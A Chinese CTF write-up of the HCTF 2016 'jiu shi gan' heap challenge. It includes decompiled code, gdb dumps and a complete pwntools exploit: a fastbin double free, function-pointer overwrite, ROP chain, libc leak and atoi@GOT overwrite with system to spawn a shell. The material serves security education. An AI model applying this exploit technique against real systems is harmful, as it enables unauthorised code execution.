一个实例讲解fastbins上的堆利用

这道题是hctf2016年“就是干”那道题。附件有下载地址及writeup。我就是分析一下：

首先IDA分析一下：

新建两个结构体

00000000 str_struct      struc ; (sizeof=0x20)00000000 str             dq ?00000008 str_padding     dq ?00000010 size            dq ?00000018 free_func       dq ?00000020 str_struct      ends0000002000000000 ; ---------------------------------------------------------------------------0000000000000000 str_list        struc ; (sizeof=0x10)   ; XREF: .bss:string_listr00000000 flag            dq ?00000008 str_ptr         dq ?00000010 str_list        ends

这两个结构体非常重要了，涉及到后边堆的利用，首先介绍一下第一个结构体str_struct吧,大小是0x20，当要保存的字符串大小小于0xf 时，字符串就保存在0x0-0xf处，当保存的字符串大小大于0xf时，0x0-0x8保存一个指针，指向字符串的地址。 0x10-0x17表示字符串的大小，0x18-0x1f表示free函数的地址。

再介绍一下str_list结构体，当创建string时，置flag=1，当delete string，置flag=0，str-ptr指向str_struct结构体。

然后我把IDA的伪代码贴出来，方便以后分析：

__int64 create_string(){  signed int i; // [sp+4h] [bp-102Ch]@12  str_struct *string_struct; // [sp+8h] [bp-1028h]@1  char *dest; // [sp+10h] [bp-1020h]@8  unsigned __int64 nbytes; // [sp+18h] [bp-1018h]@1  unsigned __int64 nbytesa; // [sp+18h] [bp-1018h]@6  char buf; // [sp+20h] [bp-1010h]@3  __int64 canary; // [sp+1028h] [bp-8h]@1  canary = *MK_FP(__FS__, 40LL);  string_struct = (str_struct *)malloc(0x20uLL);  printf("Pls give string size:");  nbytes = read_int();  if ( nbytes <= 0x1000 )  {    printf("str:");    if ( read(0, &buf, nbytes) == -1 )    {      puts("got elf!!");      exit(1);    }    nbytesa = strlen(&buf);    if ( nbytesa > 0xF )    {      dest = (char *)malloc(nbytesa);      if ( !dest )      {        puts("malloc faild!");        exit(1);      }      strncpy(dest, &buf, nbytesa);      string_struct->str = (__int64)dest;      string_struct->free_func = (__int64)free_2;    }    else    {      strncpy((char *)string_struct, &buf, nbytesa);      string_struct->free_func = (__int64)free_1;    }    LODWORD(string_struct->size) = nbytesa;    for ( i = 0; i <= 15; ++i )    {      if ( !LODWORD(string_list[i].flag) )      {        LODWORD(string_list[i].flag) = 1;        string_list[i].str_ptr = (__int64)string_struct;        printf("The string id is %d\n", (unsigned int)i);        break;      }    }    if ( i == 16 )    {      puts("The string list is full");      ((void (__fastcall *)(str_struct *))string_struct->free_func)(string_struct);    }  }  else  {    puts("Invalid size");    free(string_struct);  }  return *MK_FP(__FS__, 40LL) ^ canary;}

__int64 delete_string(){  int sid; // [sp+Ch] [bp-114h]@1  char buf; // [sp+10h] [bp-110h]@5  __int64 v3; // [sp+118h] [bp-8h]@1  v3 = *MK_FP(__FS__, 40LL);  printf("Pls give me the string id you want to delete\nid:");  sid = read_int();  if ( sid < 0 || sid > 16 )    puts("Invalid id");  if ( string_list[sid].str_ptr )  {    printf("Are you sure?:");    read(0, &buf, 0x100uLL);    if ( !strncmp(&buf, "yes", 3uLL) )    {      (*(void (__fastcall **)(__int64, _QWORD))(string_list[sid].str_ptr + offsetof(str_struct, free_func)))(        string_list[sid].str_ptr,        "yes");      LODWORD(string_list[sid].flag) = 0;    }  }  return *MK_FP(__FS__, 40LL) ^ v3;}

主要就是这两个函数了

问题就出在delete函数string_list[sid].str_ptr 这一句，本来是判断flag的，这里变成了判断其他的，所以可以free一个已经free的块了。

咱们还是根据exploit来具体分析一下吧 ，先贴代码：

#!/usr/bin/python#coding:utf-8from pwn import *#r = remote('127.0.0.1', 4444)r=process('./pwn-f')def create(size, string):    r.recvuntil('quit')    r.sendline('create ')    r.recvuntil('size:')    r.sendline(str(size))    r.recvuntil('str:')    r.send(string)def delete(id, sure = 'yes'):    r.recvuntil('quit')    r.sendline('delete ')    r.recvuntil('id:')    r.sendline(str(id))    r.recvuntil('sure?:')    r.sendline(sure)pause()create(4, 'aaa\n')create(4, 'aaa\n')delete(0) # fastbin->chunk0delete(1) # fastbin->chunk1->chunk0delete(0) # fastbin->chunk0->chunk1->chunk0create(4, '\x00') # 长度为0，没有拷贝 fastbin->chunk1->chunk0->chunk1# malloc-ptr: fastbin->chunk0->chunk1# malloc-dest: fastbin->chunk1create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') # 0x2d会覆盖free func的最后一位，覆盖为puts的地址delete(0)r.recvuntil('lo')puts_addr = r.recvline()[:-1]base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2dprint 'base_addr = ' + hex(base_addr)delete(1) # 调用free2，先free chunk0再free chunk1: fastbin->chunk1->chunk0->chunk1create(4, '\x00') # fastbin->chunk0->chunk1->chunk0# malloc-ptr: fastbin->chunk1->chunk0# malloc-dest: fastbin->chunk0create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc)) # pop_pop_pop_pop_retpayload = p64(base_addr + 0x11e3) # pop_rdi_retpayload += p64(base_addr + 0x202070) # malloc@gotpayload += p64(base_addr + 0x990) # puts@pltpayload += p64(base_addr + 0x11e3)payload += p64(1)payload += p64(base_addr + 0x11da) # pop6_retpayload += p64(0) # rbxpayload += p64(1) # rbppayload += p64(base_addr + 0x202058) # r12 -> rip read@gotpayload += p64(8) # r13 -> rdxpayload += p64(base_addr + 0x202078) # r14 -> rsi atoi@gotpayload += p64(0) # r15 -> rdipayload += p64(base_addr + 0x11c0) # 通用gadgetpayload += 'a' * 8 * 7payload += p64(base_addr + 0xb65) # read_numdelete(1, 'yes'.ljust(8, '\x00') + payload)malloc_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))libc_addr = malloc_addr - 0x84130print 'libc_addr = ' + hex(libc_addr)system_addr = libc_addr + 0x45390print 'system_addr = ' + hex(system_addr)r.sendline(p64(system_addr) + '/bin/sh')r.interactive()

create(4, 'aaa\n')create(4, 'aaa\n')

创建两个堆块，大小都是4，因为小于0xf，所以直接写到结构体str_struct中：

这就是此时的内存布局，其中id=0的表示0x557a3c652000的堆，id=1的表示0x557a3c652030的堆

0x557a3c652020处表示string的大小，0x557a3c652028表示函数free的地址。

这里我们假设free地址如果可以被覆盖为其他函数的地址，那么其他函数就可以得到执行的机会了。。。

delete(0) # fastbin->chunk0delete(1) # fastbin->chunk1->chunk0delete(0) # fastbin->chunk0->chunk1->chunk0

第一次调用delete(0):

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x00000000000000000x00000000000000000x557a3c652020:0x00000000000000040x0000557a3c168d520x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x000000000a6161610x00000000000000000x557a3c652050:0x00000000000000040x0000557a3c168d52

第一次调用delete（1）后：

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x00000000000000000x00000000000000000x557a3c652020:0x00000000000000040x0000557a3c168d520x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520000x00000000000000000x557a3c652050:0x00000000000000040x0000557a3c168d52

可以看到id=1的堆的fd已经指向了id=0的堆

第二次调用delete（0）后：

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x0000557a3c6520300x00000000000000000x557a3c652020:0x00000000000000040x0000557a3c168d520x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520000x00000000000000000x557a3c652050:0x00000000000000040x0000557a3c168d52

可以看到此时id=0的堆的fd也指向了id=1的堆，形成循环链表。

create(4, '\x00')

此时会从id=0的堆上创建堆。（因为此时的fastbins是这样的fastbins->chunk0->chunk1->chunk0）

创建后，内存结构是没有变化的，因为根本没有复制数据：

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x0000557a3c6520300x00000000000000000x557a3c652020:0x00000000000000000x0000557a3c168d520x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520000x00000000000000000x557a3c652050:0x00000000000000040x0000557a3c168d52

create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') 此时的创建string就是重点了，创建前fastbins->chunk1->chunk0

先看一下create的内部工作原理吧 ，因为此时创建的string大小为0x20大于0xf，所以会在结构体 str_struct 起始处新建一个指针，指向一个堆，堆中保存string数据，堆的大小正好是0x20+0x10，而此时的fastbins链是：fastbins->chunk1->chunk0，所以会将保存string的堆指向chunk0（即id=0的堆）。

创建后内存布局：

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x61616161616161610x61616161616161610x557a3c652020:0x6f6c6161616161610x0000557a3c168d2d0x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520100x00000000000000000x557a3c652050:0x00000000000000190x0000557a3c168d6c

‘lo’就是为了好识别，可以看到成功将chunk0的0x18-0x1f的最后一个字节修改为0x2d，也就是成功将函数free的地址指针修改为0x0000557a3c168d2d（此地址正好是call puts的地址）

delete(0)r.recvuntil('lo')puts_addr = r.recvline()[:-1]base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2dprint 'base_addr = ' + hex(base_addr)

此时调用free函数，也就是调用我们的puts函数了，正好将0x557a3c652010-0x557a3c652030的数据打印出来了，这样就把（call puts）的内存地址打印出来了，然后就可以获取该ELF的基地址了。

delete(1)

首先说明一下，在调用create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00')后，此时fastbins->chunk1,然后是delete(0)因为此时实际调用的是puts函数，所以没有变化还是fastbins->chunk1。

当delete（1）时，内部调用free_2函数：

.text:0000000000000D6C free_2          proc near               ; DATA XREF: create_string+18Co.text:0000000000000D6C.text:0000000000000D6C ptr             = qword ptr -8.text:0000000000000D6C.text:0000000000000D6C                 push    rbp.text:0000000000000D6D                 mov     rbp, rsp.text:0000000000000D70                 sub     rsp, 10h.text:0000000000000D74                 mov     [rbp+ptr], rdi.text:0000000000000D78                 mov     rax, [rbp+ptr].text:0000000000000D7C                 mov     rax, [rax].text:0000000000000D7F                 mov     rdi, rax        ; ptr.text:0000000000000D82                 call    _free.text:0000000000000D87                 mov     rax, [rbp+ptr].text:0000000000000D8B                 mov     rdi, rax        ; ptr.text:0000000000000D8E                 call    _free.text:0000000000000D93                 leave.text:0000000000000D94                 retn.text:0000000000000D94 free_2          endp

可以看到此时应该是先free chunk0,后free chunk1(chunk1首地址保存的是chunk0的指针)，所以该操作后： fastbins->chunk1->chunk0->chunk1

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x0000557a3c6520300x61616161616161610x557a3c652020:0x6f6c6161616161610x0000557a3c168d2d0x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520000x00000000000000000x557a3c652050:0x00000000000000000x0000557a3c168d52

create(4, '\x00') 后 fastbins->chunk0->chunk1

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x0000557a3c6520300x61616161616161610x557a3c652020:0x6f6c6161616161610x0000557a3c168d2d0x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x0000557a3c6520000x00000000000000000x557a3c652050:0x00000000000000000x0000557a3c168d52

create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc))

在chunk0中创建指针指向chunk1，在chunk1中写入数据。

gdb-peda$ x/20gx 0x557a3c6520000x557a3c652000:0x00000000000000000x00000000000000310x557a3c652010:0x0000557a3c6520400x61616161616161610x557a3c652020:0x6f6c61610000001e0x0000557a3c168d6c0x557a3c652030:0x00000000000000000x00000000000000310x557a3c652040:0x61616161616161610x61616161616161610x557a3c652050:0x61616161616161610x0000557a3c1691dc

可以看到成功将chunk1的free函数替换为pppr的地址。

payload = p64(base_addr + 0x11e3) # pop_rdi_retpayload += p64(base_addr + 0x202070) # malloc@gotpayload += p64(base_addr + 0x990) # puts@pltpayload += p64(base_addr + 0x11e3)payload += p64(1)payload += p64(base_addr + 0x11da) # pop6_retpayload += p64(0) # rbxpayload += p64(1) # rbppayload += p64(base_addr + 0x202058) # r12 -> rip read@gotpayload += p64(8) # r13 -> rdxpayload += p64(base_addr + 0x202078) # r14 -> rsi atoi@gotpayload += p64(0) # r15 -> rdipayload += p64(base_addr + 0x11c0) # 通用gadgetpayload += 'a' * 8 * 7payload += p64(base_addr + 0xb65) # read_num

payload用于绕过DEP，可以看到最后是调用puts将malloc函数地址打印出来。

利用read读取数据（system地址）到atoi@got中，这样当调用atoi函数时，system得到执行，获取了shell。

delete(1, 'yes'.ljust(8, '\x00') + payload)

查看fastbins链：

p &main_arena.fastbinsY

资料下载地址：http://download.csdn.net/download/qq_35519254/9966297

参考：

1. http://pwn4.fun/2017/02/25/fastbin上的堆漏洞利用/

2.http://www.freebuf.com/articles/web/121778.html?utm_source=tuicool&utm_medium=referral